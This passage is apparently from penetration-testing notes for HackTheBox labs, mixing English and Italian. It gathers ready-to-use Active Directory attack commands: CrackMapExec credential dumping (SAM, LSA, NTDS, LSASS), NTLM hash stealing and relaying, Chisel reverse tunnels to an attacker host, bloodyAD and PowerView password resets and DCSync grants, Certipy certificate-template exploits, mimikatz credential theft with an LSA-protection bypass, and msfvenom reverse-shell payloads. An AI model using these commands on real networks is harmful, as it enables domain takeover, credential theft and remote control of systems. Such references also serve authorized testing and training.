| `hashcat -m 13100 kerberoasting.out /usr/share/wordlists/rockyou.txt --force` | Module for Cracking ASREPRoast.                                                                     |

***

### MSSQL Enumeration and Attacks

| **Command**                                                                                            | **Description**                                                                               |
| ------------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------------- |
| `cme mssql <target> -u <u> -p <p> -q <SQL_QUERY>`                                                      | Perform an SQL Query againts the target machine.                                              |
| `cme mssql <target> -u <u> -p <p> -x <command>`                                                        | Executing Windows command on the target if the option `xp_cmdshell` is available to the user. |
| `cme mssql <target> -u <u> -p <p> -M mssql_priv`                                                       | Enumerates MSSQL privileges to scale from a standard user into a sysadmin.                    |
| `cme mssql <target> -u <u> -p <p> -M mssql_priv -o ACTION=privesc`                                     | Exploit MSSQL privileges to scale from a standard user into a sysadmin.                       |
| `cme mssql <target> -u <u> -p <p> -M mssql_priv -o ACTION=rollback`                                    | Rollback user's privileges to standard user.                                                  |
| `cme mssql <target> -u <u> -p <p> --share <share_name> --get-file <remote_filename> <output_filename>` | Get a remote file from a shared folder.                                                       |
| `cme mssql <target> -u <u> -p <p> --share <share_name> --put-file <local_filename> <remote_filename>`  | Put a local file into a remote location.                                                      |

***

### Domain Enumeration

| **Command**                                       | **Description**                                                                                                      |
| ------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------- |
| `cme smb <target> -u <u> -p <p> -M gpp_password`  | Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences (GPP).   |
| `cme smb <target> -u <u> -p <p> -M gpp_autologin` | Searches the domain controller for registry.xml to find autologin information and returns the username and password. |

***

### File Operations

| **Command**                                                                                          | **Description**                                                                                                                                         |
| ---------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `cme smb <target> -u <u> -p <p> --spider <share_name> --pattern <pattern>`                           | Search in a remote share for a pattern.                                                                                                                 |
| `cme smb <target> -u <u> -p <p> --spider <share_name> --regex <regex>`                               | Search in a remote share using regular expression.                                                                                                      |
| `cme smb <target> -u <u> -p <p> --spider <share_name> --content`                                     | Enable content search. Can be combined with --pattern or --regex.                                                                                       |
| `cme smb <target> -u <u> -p <p> --share <share_name> --get-file <remote_filename> <output_filename>` | Get a remote file from a shared folder.                                                                                                                 |
| `cme smb <target> -u <u> -p <p> --share <share_name> --put-file <local_filename> <remote_filename>`  | Put a local file into a remote location.                                                                                                                |
| `cme smb <target> -u <u> -p <p> -M spider_plus -o EXCLUDE_DIR=IPC$,print$,NETLOGON,SYSVOL`           | Creates a file containing the shares and files information. We can add the option EXCLUDE\_DIR to prevent it from looking into specific shared folders. |
| `cme smb <target> -u <u> -p <p> -M spider_plus -o READ_ONLY=false`                                   | Download all files from all shared folder.                                                                                                              |

***

### Using Proxychains and Chisel

| **Command**                                                                                      | **Description**                                            |
| ------------------------------------------------------------------------------------------------ | ---------------------------------------------------------- |
| `chisel server --reverse`                                                                        | Method #1 - Using our attack host as the chisel server.    |
| `cme smb <target> -u <u> -p <p> -x "C:\Windows\Temp\chisel.exe client 10.10.14.33:8080 R:socks"` | Method #1 - Using the target machine as the Chisel client. |
| `cme smb <target> -u <u> -p <p> -x "C:\Windows\Temp\chisel.exe server --socks5"`                 | Method #2 - Using the target machine as the Chisel server. |
| `chisel client 10.129.204.133:8080 socks`                                                        | Method #2 - Using our attack host as the Chisel client.    |

***

### Stealing Hashes

| **Command**                                                                                                        | **Description**                                                                                                                           |
| ------------------------------------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------- |
| `cme smb <target> -u <u> -p <p> -M slinky -o SERVER=<YOUR_IP> NAME=<LNK_filename`                                  | Creates windows shortcuts with the icon attribute containing a UNC path to the specified SMB server in all shares with write permissions. |
| `sudo responder -I tun0`                                                                                           | Start Responder to listen for requests.                                                                                                   |
| `ntlmrelayx.py -t <target> -smb2support --no-http`                                                                 | Relay NTLMv2 to the target machine.                                                                                                       |
| `cme smb <target> -u <u> -p <p> -M slinky -o SERVER=<YOUR_IP> NAME=<LNK_filename CLEAN=YES`                        | Search and delete the LNK file in all shares or the selected shared folder.                                                               |
| `cme smb <target> -u <u> -p <p> -M drop-sc -o URL=\\\\<YOUR_IP>\\secret SHARE=<shared_folder> FILENAME=<filename>` | Creates a .searchConnector-ms with an attribute containing a UNC path to the specified SMB server in the selected shared folder.          |
| `cme smb <target> -u <u> -p <p> -M drop-sc -o CLEANUP=True FILENAME=<filename>`                                    | Search and delete the .searchConnector-ms file in the selected shared folder.                                                             |

***

### Command Execution

| **Command**                                                         | **Description**                                                             |
| ------------------------------------------------------------------- | --------------------------------------------------------------------------- |
| `cme smb <target> -u <u> -p <p> -x <command>`                       | Execute the CMD on the target.                                              |
| `cme smb <target> -u <u> -p <p> -X <command>`                       | Execute Powershell on the target.                                           |
| `cme winrm <target> -u <u> -p <p> -x <command>`                     | Execute the CMD on the target using WinRM protocol.                         |
| `cme winrm <target> -u <u> -p <p> -X <command>`                     | Execute the Powershell on the target using WinRM protocol.                  |
| `cme ssh <target> -u <u> -p <p> -x <command>`                       | Executing remote command on the target.                                     |
| `cme ssh <target> -u <u> -p <p> --key-file <KEY_FILE> -x <command>` | Using private keys as the authentication method.                            |
| `--exec-method <EXEC_METHOD>`                                       | Method to execute the command. Ignored if in MSSQL mode (default: wmiexec). |
| `--amsi-bypass <FILE>`                                              | File with a custom AMSI bypass.                                             |

***

### Extracting Secrets

| **Command**                                    | **Description**                                              |
| ---------------------------------------------- | ------------------------------------------------------------ |
| `cme smb <target> -u <u> -p <p> --sam`         | Dump SAM on the target.                                      |
| `cme smb <target> -u <u> -p <p> --lsa`         | Dump LSA on the target.                                      |
| `cme smb <target> -u <u> -p <p> --ntds`        | Dump NTDS.dit on the domain controller using drsuapi method. |
| `cme smb <target> -u <u> -p <p> --ntds vss`    | Dump NTDS.dit on the domain controller using the VSS method. |
| `cme smb <target> -u <u> -p <p> -M lsassy`     | Dump the memory of the LSASS process with lsassy.            |
| `cme smb <target> -u <u> -p <p> -M procdump`   | Dump the memory of the LSASS process with procdump.          |
| `cme smb <target> -u <u> -p <p> -M handlekatz` | Dump the memory of the LSASS process with handlekatz.        |
| `cme smb <target> -u <u> -p <p> -M nanodump`   | Dump the memory of the LSASS process with nanodump.          |

***

### Popular Modules

| **Command**                                                                                                  | **Description**                                              |
| ------------------------------------------------------------------------------------------------------------ | ------------------------------------------------------------ |
| `cme [protocol] -M <module_name> --options`                                                                  | Show module options.                                         |
| `cme ldap <target> -u <u> -p <p> -M get-network -o ALL=true`                                                 | Get DNS and IP information.                                  |
| `cme ldap <target> -u <u> -p <p> -M laps`                                                                    | Retrieve all computers an account has access to read.        |
| `cme ldap <target> -u <u> -p <p> -M maq`                                                                     | Get the machine account quota for a user.                    |
| `cme ldap <target> -u <u> -p <p> -M daclread -o TARGET=<username> ACTION=<read>`                             | Read all ACEs of the target account.                         |
| `cme ldap <target> -u <u> -p <p> -M daclread -o TARGET_DN=<DN> ACTION=read RIGHTS=DCSync`                    | Read all objects with DCSync privileges.                     |
| `cme smb <target> -u <u> -p <p> -M keepass_discover`                                                         | Locate the KeePass configuration file in the target machine. |
| `cme smb <target> -u <u> -p <p> -M keepass_trigger -o ACTION=ALL KEEPASS_CONFIG_PATH=<PATH_TO_KEEPASS_CONF>` | Perform a chain attack to obtain the KeePass database.       |
| `cme smb <target> -u <u> -p <p> -M rdp -o ACTION=<enable/disable>`                                           | Enable or Disable RDP.                                       |

***

### Vulnerability Scan Modules

| **Command**                                      | **Description**                                                                                                 |
| ------------------------------------------------ | --------------------------------------------------------------------------------------------------------------- |
| `cme smb <target> -M Zerologon`                  | Module to check if the DC is vulnerable to Zerologon, aka CVE-2020-1472.                                        |
| `cme smb <target> -M PetitPotam`                 | Module to check if the DC is vulnerable to PetitPotam, credit to @topotam.                                      |
| `cme smb <target> -M ms17-010`                   | Module to check if the target is vulnerable to MS17-010.                                                        |
| `cme smb <target> -u <u> -p <p> -M nopac`        | Check if the DC is vulnerable to CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user. |
| `cme smb <target> -u <u> -p <p> -M dfscoerce`    | Module to check if the DC is vulnerable to DFSCocerc, credit to @filip\_dragovic/@Wh04m1001 and @topotam.       |
| `cme smb <target> -u <u> -p <p> -M shadowcoerce` | Module to check if the target is vulnerable to ShadowCoerce, credit to @Shutdown and @topotam.                  |

***

### CMEDB Commands

| **Command**                                        | **Description**                                                   |
| -------------------------------------------------- | ----------------------------------------------------------------- |
| `workspace list`                                   | List workspaces.                                                  |
| `workspace <workspace>`                            | Switch to an specific workspace.                                  |
| `proto <protocol>`                                 | Access protocol database.                                         |
| `creds`                                            | Display plaintext and hashes credentials for a specific protocol. |
| `creds plaintext`                                  | Display plaintext credentials for a specific protocol.            |
| `creds hash`                                       | Display hashes credentials for a specific protocol.               |
| `creds <username>`                                 | Display credentials for specific user.                            |
| `creds add`                                        | Manually add a user to the database.                              |
| `creds remove`                                     | Manually remove a user from the database.                         |
| `hosts`                                            | Display the computers to which we have gained access.             |
| `shares`                                           | Display shared folder information.                                |
| `export creds <simple/detailed> <filename>`        | Export credentials.                                               |
| `export shares <simple/detailed> <filename>`       | Export shared folders.                                            |
| `export local_admins <simple/detailed> <filename>` | Export Local Admins information.                                  |


# chisel

### Chisel - Reverse Tunnel

* Attack Host

```bash
./chisel server --reserve

2022/11/06 10:57:00 server: Reverse tunnelling enabled
2022/11/06 10:57:00 server: Fingerprint CelKxt2EsL1SUFnvo634FucIOPqlFKQJi8t/aTjRfWo=
2022/11/06 10:57:00 server: Listening on http://0.0.0.0:8080
```

* Target Host

```shell
C:\Windows\Temp\chisel.exe client <ip_attacker>:8080 R:socks
```

* Verify Listening Port

```shell
dado1513@htb[/htb]$ netstat -lnpt | grep 1080

(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 127.0.0.1:1080          0.0.0.0:*               LISTEN      446306/./chisel

```

* Configure Proxychains

```shell
dado1513@htb[/htb]$ cat /etc/proxychains.conf

<SNIP>

[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5  127.0.0.1 1080
```

* Killing Chisel

```powershell
Stop-Process -Name chisel -Force
```

### Target Host as Server

* Target Host

```powershell
PS> C:\Windows\Temp\chisel.exe server --socks5
```

* Attack Host

```shell
dado1513@htb[/htb]$ sudo chisel client 10.129.204.133:8080 socks

2022/11/22 06:56:01 client: Connecting to ws://10.129.204.133:8080
2022/11/22 06:56:01 client: tun: proxy#127.0.0.1:1080=>socks: Listening
2022/11/22 06:56:02 client: Connected (Latency 124.871246ms)
```


# bloodyAD

## bloodyAD

### set password

```bash
bloodyAD --host 10.10.11.42 -d domain.local -u 'attacker' -p '12345678' set password "target" "12345678"
```

```bash
bloodyAD --host 10.10.11.42 -d domain.local -u 'attacker' -p ':HASH' set password "target" "12345678"
```

### add group member

```bash
bloodyAD --host "10.10.11.41" -d "DOMAIN.LOCAL" -u "user" -p "password" add groupMember 'CN=GROUP,CN=USERS,DC=DOMAIN,DC=LOCAL' "user"
```

### add dcsync to user

```bash
bloodyAD --host 10.10.10.161 -u user -p 'password' -d domain add dcsync 'user-target'
```

* <https://github.com/CravateRouge/bloodyAD>
* <https://github.com/CravateRouge/autobloody>


# PowerView

* <https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1>

| Command                         | Description                                                                                |
| ------------------------------- | ------------------------------------------------------------------------------------------ |
| Export-PowerViewCSV             | Append results to a CSV file                                                               |
| ConvertTo-SID                   | Convert a User or group name to its SID value                                              |
| Get-DomainSPNTicket             | Requests the Kerberos ticket for a specified Service Principal Name (SPN) account          |
| Domain/LDAP Functions:          |                                                                                            |
| Get-Domain                      | Will return the AD object for the current (or specified) domain                            |
| Get-DomainController            | Return a list of the Domain Controllers for the specified domain                           |
| Get-DomainUser                  | Will return all users or specific user objects in AD                                       |
| Get-DomainComputer              | Will return all computers or specific computer objects in AD                               |
| Get-DomainGroup                 | Will return all groups or specific group objects in AD                                     |
| Get-DomainOU                    | Search for all or specific OU objects in AD                                                |
| Find-InterestingDomainAcl       | Finds object ACLs in the domain with modification rights set to non-built in objects       |
| Get-DomainGroupMember           | Will return the members of a specific domain group                                         |
| Get-DomainFileServer            | Returns a list of servers likely functioning as file servers                               |
| Get-DomainDFSShare              | Returns a list of all distributed file systems for the current (or specified) domain       |
| GPO Functions:                  |                                                                                            |
| Get-DomainGPO                   | Will return all GPOs or specific GPO objects in AD                                         |
| Get-DomainPolicy                | Returns the default domain policy or the domain controller policy for the current domain   |
| Computer Enumeration Functions: |                                                                                            |
| Get-NetLocalGroup               | Enumerates local groups on the local or a remote machine                                   |
| Get-NetLocalGroupMember         | Enumerates members of a specific local group                                               |
| Get-NetShare                    | Returns open shares on the local (or a remote) machine                                     |
| Get-NetSession                  | Will return session information for the local (or a remote) machine                        |
| Test-AdminAccess                | Tests if the current user has administrative access to the local (or a remote) machine     |
| Threaded 'Meta'-Functions:      |                                                                                            |
| Find-DomainUserLocation         | Finds machines where specific users are logged in                                          |
| Find-DomainShare                | Finds reachable shares on domain machines                                                  |
| Find-InterestingDomainShareFile | Searches for files matching specific criteria on readable shares in the domain             |
| Find-LocalAdminAccess           | Find machines on the local domain where the current user has local administrator access    |
| Domain Trust Functions:         |                                                                                            |
| Get-DomainTrust                 | Returns domain trusts for the current domain or a specified domain                         |
| Get-ForestTrust                 | Returns all forest trusts for the current forest or a specified forest                     |
| Get-DomainForeignUser           | Enumerates users who are in groups outside of the user's domain                            |
| Get-DomainForeignGroupMember    | Enumerates groups with users outside of the group's domain and returns each foreign member |
| Get-DomainTrustMapping          | Will enumerate all trusts for the current domain and any others seen.                      |

[PowerView/SharpView](https://book.hacktricks.xyz/windows-hardening/basic-powershell-for-pentesters/powerview)

**Creating a List of Domain Users**

```powershell
PS> Get-ADUser -Filter * | Select-Object -ExpandProperty SamAccountName > ad_users.txt
```

**Find Interesting ACL**

```powershell
Find-InterestingDomainAcl
```

**Covert NameToSID**

```powershell
PS C:\htb> $sid = Convert-NameToSid wley
```

**Using Get-DomainObjectACL**

```powershell
Get-DomainObjectACL -Identity * | ? {$_.SecurityIdentifier -eq $sid}
```

**Get ActiveDirectoryRights**

Permessi interessanti:

* **GenericAll** - full rights to the object (add users to a group or reset user's password)
* **GenericWrite** - update object's attributes (i.e logon script)
* **WriteOwner** - change object owner to attacker controlled user take over the object
* **WriteDACL** - modify object's ACEs and give attacker full control right over the object
* **AllExtendedRights** - ability to add user to a group or reset password
* **ForceChangePassword** - ability to change user's password
* **Self (Self-Membership)** - ability to add yourself to a group

```
Get-ObjectAcl -SamAccountName <samaccountname> -ResolveGUIDs


Get-ObjectAcl -SamAccountName carole.holmes -ResolveGuids | ? {$_.ActiveDirectoryRights -match ("WriteDacl|GenericWrite|GenericAll") }
```

**Resolving GUID**

```powershell
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}
```

**Change Password `Force-Change-Password`**

```powershell
PS C:\htb> $SecPassword = ConvertTo-SecureString '<PASSWORD HERE>' -AsPlainText -Force
PS C:\htb> $Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\wley', $SecPassword)

PS C:\htb> $damundsenPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force
PS C:\htb> cd C:\Tools\
PS C:\htb> Import-Module .\PowerView.ps1
PS C:\htb> Set-DomainUserPassword -Identity damundsen -AccountPassword $damundsenPassword -Credential $Cred -Verbose

VERBOSE: [Get-PrincipalContext] Using alternate credentials
VERBOSE: [Set-DomainUserPassword] Attempting to set the password for user 'damundsen'
VERBOSE: [Set-DomainUserPassword] Password for user 'damundsen' successfully reset
```

**Get User Group Member**

```powershell
PS C:\Tools> Get-NetLocalGroupMember  -GroupName "Remote Management Users"

ComputerName : ACADEMY-EA-MS01
GroupName    : Remote Management Users
MemberName   : INLANEFREIGHT\forend
SID          : S-1-5-21-3842939050-3880317879-2865463114-5614
IsGroup      : False
IsDomain     : UNKNOWN

PS C:\Tools> Get-DomainGroupMember -Identity "Remote Management Users" -Recurse

GroupDomain             : INLANEFREIGHT.LOCAL
GroupName               : Remote Management Users
GroupDistinguishedName  : CN=Remote Management Users,CN=Builtin,DC=INLANEFREIGHT,DC=LOCAL
MemberDomain            : INLANEFREIGHT.LOCAL
MemberName              : bdavis
MemberDistinguishedName : CN=Brian Davis,OU=Server Admin,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
MemberObjectClass       : user
MemberSID               : S-1-5-21-3842939050-3880317879-2865463114-1162
```

***

**AS-REPRoasting**

```powershell
PS C:\Tools> Import-Module .\PowerView.ps1
PS C:\Tools> Get-DomainUser -UACFilter DONT_REQ_PREAUTH
...
```

***

**Set DONT\_REQ\_PREAUTH with PowerView**

```powershell
PS C:\Tools> Import-Module .\PowerView.ps1
PS C:\Tools> Set-DomainObject -Identity userName -XOR @{useraccountcontrol=4194304} -Verbose

VERBOSE: [Get-DomainSearcher] search base: LDAP://DC01.INLANEFREIGHT.LOCAL/DC=INLANEFREIGHT,DC=LOCAL
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=userName)(name=userName)(displayname=userName))))
VERBOSE: [Set-DomainObject] XORing 'useraccountcontrol' with '4194304' for object 'userName'
```

***

**Informazioni sull'Active Directory**

* `Get-NetDomain`: Ottiene informazioni sul dominio corrente.
* `Get-NetForest`: Ottiene informazioni sulla foresta corrente.
* `Get-NetDomainController`: Ottiene i controller di dominio nel dominio corrente.
* `Get-NetGroup`: Ottiene informazioni sui gruppi dell'Active Directory.
* `Get-NetUser`: Ottiene informazioni sugli utenti dell'Active Directory.
* `Get-NetComputer`: Ottiene informazioni sui computer dell'Active Directory.
* `Get-NetOU`: Ottiene informazioni sulle unità organizzative dell'Active Directory.

**Enumerazione**

* `Get-NetGroupMember`: Ottiene i membri di un gruppo.
* `Get-NetLocalGroup`: Ottiene i gruppi locali su un computer remoto.
* `Get-NetLocalGroupMember`: Ottiene i membri di un gruppo locale su un computer remoto.
* `Get-NetShare`: Ottiene le condivisioni di rete su un computer remoto.
* `Get-NetLoggedon`: Ottiene gli utenti attualmente collegati a un computer remoto.

**Esplorazione dei privilegi**

* `Find-LocalAdminAccess`: Trova gli account utente che hanno accesso di amministratore locale su computer remoti.
* `Find-DomainUserLocation`: Trova i computer ai quali un utente ha accesso.
* `Find-InterestingDomainShareFile`: Trova file condivisi interessanti all'interno dell'Active Directory.

**Esplorazione delle relazioni di trust**

* `Get-NetDomainTrust`: Ottiene le relazioni di trust tra domini.
* `Get-NetForestTrust`: Ottiene le relazioni di trust tra foreste.

**Esecuzione remota**

* `Invoke-NetCommand`: Esegue un comando in remoto su uno o più computer.

**Enumerazione delle autorizzazioni**

* `Get-NetFilePermissions`: Ottiene le autorizzazioni dei file su un computer remoto.
* `Get-NetSharePermissions`: Ottiene le autorizzazioni delle condivisioni di rete su un computer remoto.
* `Get-NetLocalGroupMapping`: Ottiene la mappatura dei gruppi locali su un computer remoto.
* `Get-NetEffectivePermission`: Ottiene le autorizzazioni effettive di un utente o gruppo su una risorsa.

**Enumerazione dei servizi**

* `Get-NetService`: Ottiene informazioni sui servizi in esecuzione su un computer remoto.
* `Get-NetLoggedon`: Ottiene gli utenti attualmente collegati a un computer remoto.

**Enumerazione dei token**

* `Get-NetToken`: Ottiene informazioni sui token utente e di sistema su un computer remoto.

**Enumerazione delle sessioni**

* `Get-NetSession`: Ottiene le sessioni di rete su un computer remoto.
* `Get-NetLoggedon`: Ottiene gli utenti attualmente collegati a un computer remoto.

**Enumerazione dei trust**

* `Get-NetDomainTrust`: Ottiene le relazioni di trust tra domini.
* `Get-NetForestTrust`: Ottiene le relazioni di trust tra foreste.

**Gestione dei SID History**

* `Invoke-NetUserAdd`: Aggiunge un SID a un account utente.
* `Invoke-NetUserClone`: Clona un account utente, inclusi gli attributi SID History.

**Gestione del dominio**

* `Add-NetGroupMember`: Aggiunge un membro a un gruppo dell'Active Directory.
* `Add-NetGroupUser`: Aggiunge un utente a un gruppo dell'Active Directory.
* `Add-NetLocalGroupMember`: Aggiunge un membro a un gruppo locale su un computer remoto.

***

### Kerberos Delegation

**User Unconstrained Delegation**

```powershell
Get-NetUser | Where-Object { $_.TrustedForDelegation }
```

**Constrained Delegation**

```powershell
Get-DomainComputer -TrustedToAuth
```

**FindUser With ActiveDirectoryRights (WriteDacl|GenericWrite|GenericAll)**

```powershell
 Get-ObjectAcl -SamAccountName carole.holmes -ResolveGuids | ? {$_.ActiveDirectoryRights -match ("WriteDacl|GenericWrite|GenericAll") }
```

**Retrieving Domain SID**

```powershell
PS C:\Tools> Import-Module .\PowerView.ps1
PS C:\Tools> Get-DomainSID

S-1-5-21-2974783224-3764228556-2640795941
```

***

**General Tips**

<https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993>


# certipy

#### Find Vulnerable Template

* Find vulnerable template

```bash
certipy find -u 'user' -hashes '3b181b914e7a9d5508ea1e20bc2b7fce'  -dc-ip 10.10.11.51  
certipy find -u 'billy@foobar.com' -p <password> -dc-ip <DC_IP> -vulnerable -enabled
certipy find -u 'user@domain.local' -hashes '3b181b914e7a9d5508ea1e20bc2b7fce'  -dc-ip 10.10.11.51   

```

#### Shadow Credential

* Get Shadow credentials

```bash
certipy-ad shadow auto -u 'user@domain.local' -p "WqSZAF6CysDQbGb3" -account 'user_2' -dc-ip '10.10.11.51' 
```

#### ESC1

* Exploit `ESC1`

```bash
certipy-ad req -u user -target domain.local -upn administrator@domain.local -ca sequel-DC01-CA -template template_name -hashes 3b181b914e7a9d5508ea1e20bc2b7fce:3b181b914e7a9d5508ea1e20bc2b7fce -key-size 4096  -dns 10.10.11.51 -dc-ip 10.10.11.51
```

```bash
certipy-ad req -u user -target domain.local -web -port 80 -subject 'DIstinguishedName' -sid 'SID -debug' -ca sequel-DC01-CA -template template_name -target-ip <ip_ca>

```

#### ESC4

* Exploit `ESC4`

```bash
certipy template -username user@domain.local  -hashes 3b181b914e7a9d5508ea1e20bc2b7fce  -template templateName  -save-old 
```

```bash
certipy template -username user@domain.local  -p -dc-ip ip_dc -template templateName  -save-old  -configuration configuration.json

```

#### Using PFXS withou password

* Certipy's commands don't support PFXs with password. The following command can be used to "unprotect" a PFX file.

```bash
certipy cert -export -pfx "PATH_TO_PFX_CERT" -password "CERT_PASSWORD" -out "unprotected.pfx"
```

#### Auth using pfx

```bash
certipy auth -pfx administrator.pfx -domain domain.local

```

```bash
certipy auth -pfx administrator.pfx -domain domain.local --ldap-shell
```

#### Bloodhound

```bash
certipy find -u '[email protected]' -p 'Password123!' -dc-ip 10.129.205.199 -bloodhound
```

### Risorse

* <https://www.thehacker.recipes/ad/movement/kerberos/pass-the-certificate>
* <https://github.com/ly4k/Certipy/blob/main/README.md>


# sqlmap

```bash
sqlmap -r sqlmap.req --level 3 --risk 3 --dump
```

```bash
sqlmap -r sqlmap.req  --level 3 --risk 3 --batch --random-agent --tables --dump --dbms=sqlite --threads 10 --flush-session
```


# mimikatz

```powershell
#The commands are in cobalt strike format!

#Dump LSASS:
mimikatz privilege::debug
mimikatz token::elevate
mimikatz sekurlsa::logonpasswords

#(Over) Pass The Hash
mimikatz privilege::debug
mimikatz sekurlsa::pth /user:<UserName> /ntlm:<> /domain:<DomainFQDN>

#List all available kerberos tickets in memory
mimikatz sekurlsa::tickets

#Dump local Terminal Services credentials
mimikatz sekurlsa::tspkg

#Dump and save LSASS in a file
mimikatz sekurlsa::minidump c:\temp\lsass.dmp

#List cached MasterKeys
mimikatz sekurlsa::dpapi

#List local Kerberos AES Keys
mimikatz sekurlsa::ekeys

#Dump SAM Database
mimikatz lsadump::sam

#Dump SECRETS Database
mimikatz lsadump::secrets

#Inject and dump the Domain Controler's Credentials
mimikatz privilege::debug
mimikatz token::elevate
mimikatz lsadump::lsa /inject

#Dump the Domain's Credentials without touching DC's LSASS and also remotely
mimikatz lsadump::dcsync /domain:<DomainFQDN> /all

#Dump old passwords and NTLM hashes of a user
mimikatz lsadump::dcsync /user:<DomainFQDN>\<user> /history

#List and Dump local kerberos credentials
mimikatz kerberos::list /dump

#Pass The Ticket
mimikatz kerberos::ptt <PathToKirbiFile>

#List TS/RDP sessions
mimikatz ts::sessions

#List Vault credentials
mimikatz vault::list
```

❗ What if mimikatz fails to dump credentials because of LSA Protection controls ?

* LSA as a Protected Process (Kernel Land Bypass)

  ```powershell
  #Check if LSA runs as a protected process by looking if the variable "RunAsPPL" is set to 0x1
  reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa

  #Next upload the mimidriver.sys from the official mimikatz repo to same folder of your mimikatz.exe
  #Now lets import the mimidriver.sys to the system
  mimikatz # !+

  #Now lets remove the protection flags from lsass.exe process
  mimikatz # !processprotect /process:lsass.exe /remove

  #Finally run the logonpasswords function to dump lsass
  mimikatz # sekurlsa::logonpasswords
  ```
* LSA as a Protected Process (Userland "Fileless" Bypass)
  * [PPLdump](https://github.com/itm4n/PPLdump)
  * [Bypassing LSA Protection in Userland](https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland)
* LSA is running as virtualized process (LSAISO) by Credential Guard

````powershell
    #Check if a process called lsaiso.exe exists on the running processes
    tasklist |findstr lsaiso
    
    #If it does there isn't a way tou dump lsass, we will only get encrypted data. But we can still use keyloggers or clipboard dumpers to capture data.
    #Lets inject our own malicious Security Support Provider into memory, for this example i'll use the one mimikatz provides
    mimikatz # misc::memssp
    
    #Now every user session and authentication into this machine will get logged and plaintext credentials will get captured and dumped into c:\windows\system32\mimilsa.log
    ```
    
- [Detailed Mimikatz Guide](https://adsecurity.org/?page_id=1821)
- [Poking Around With 2 lsass Protection Options](https://medium.com/red-teaming-with-a-blue-team-mentaility/poking-around-with-2-lsass-protection-options-880590a72b1a)

## Mimikatz powershell

```powershell
PS C:\Tools> Set-ExecutionPolicy Bypass -Scope CurrentUser -Force
PS C:\Tools> Import-Module .\Invoke-Mimikatz.ps1
PS C:\Tools> Invoke-Mimikatz -Command '"lsadump::dcsync /user:lab\Administrator"'
````


# mSFVenom Cheatsheet

## MSFVenom Cheatsheet

Single Page Cheatsheet for common MSF Venom One Liners\
Available in PDF, DOCX and Markdown format! *PDF and DOCX versions contain the payload size in bytes and a few more commands.*

### MSFVenom Cheatsheet

| MSFVenom Payload Generation One-Liner                                                                                                                                                                                     | Description                                     |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------- |
| `msfvenom -l payloads`                                                                                                                                                                                                    | List available payloads                         |
| `msfvenom -p PAYLOAD --list-options`                                                                                                                                                                                      | List payload options                            |
| `msfvenom -p PAYLOAD -e ENCODER -f FORMAT -i ENCODE COUNT LHOST=IP`                                                                                                                                                       | Payload Encoding                                |
| `msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf`                                                                                                                                    | Linux Meterpreter reverse shell x86 multi stage |
| `msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=IP LPORT=PORT -f elf > shell.elf`                                                                                                                                       | Linux Meterpreter bind shell x86 multi stage    |
| `msfvenom -p linux/x64/shell_bind_tcp RHOST=IP LPORT=PORT -f elf > shell.elf`                                                                                                                                             | Linux bind shell x64 single stage               |
| `msfvenom -p linux/x64/shell_reverse_tcp RHOST=IP LPORT=PORT -f elf > shell.elf`                                                                                                                                          | Linux reverse shell x64 single stage            |
| `msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe > shell.exe`                                                                                                                                      | Windows Meterpreter reverse shell               |
| `msfvenom -p windows/meterpreter_reverse_http LHOST=IP LPORT=PORT HttpUserAgent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36" -f exe > shell.exe` | Windows Meterpreter http reverse shell          |
| `msfvenom -p windows/meterpreter/bind_tcp RHOST= IP LPORT=PORT -f exe > shell.exe`                                                                                                                                        | Windows Meterpreter bind shell                  |
| `msfvenom -p windows/shell/reverse_tcp LHOST=IP LPORT=PORT -f exe > shell.exe`                                                                                                                                            | Windows CMD Multi Stage                         |
| `msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=PORT -f exe > shell.exe`                                                                                                                                            | Windows CMD Single Stage                        |
| `msfvenom -p windows/adduser USER=hacker PASS=password -f exe > useradd.exe`                                                                                                                                              | Windows add user                                |
| `msfvenom -p osx/x86/shell_reverse_tcp LHOST=IP LPORT=PORT -f macho > shell.macho`                                                                                                                                        | Mac Reverse Shell                               |
| `msfvenom -p osx/x86/shell_bind_tcp RHOST=IP LPORT=PORT -f macho > shell.macho`                                                                                                                                           | Mac Bind shell                                  |
| `msfvenom -p cmd/unix/reverse_python LHOST=IP LPORT=PORT -f raw > shell.py`                                                                                                                                               | Python Shell                                    |
| `msfvenom -p cmd/unix/reverse_bash LHOST=IP LPORT=PORT -f raw > shell.sh`                                                                                                                                                 | BASH Shell                                      |
| `msfvenom -p cmd/unix/reverse_perl LHOST=IP LPORT=PORT -f raw > shell.pl`                                                                                                                                                 | PERL Shell                                      |
| `msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f asp > shell.asp`                                                                                                                                      | ASP Meterpreter shell                           |
| `msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=PORT -f raw > shell.jsp`                                                                                                                                           | JSP Shell                                       |
| `msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=PORT -f war > shell.war`                                                                                                                                           | WAR Shell                                       |
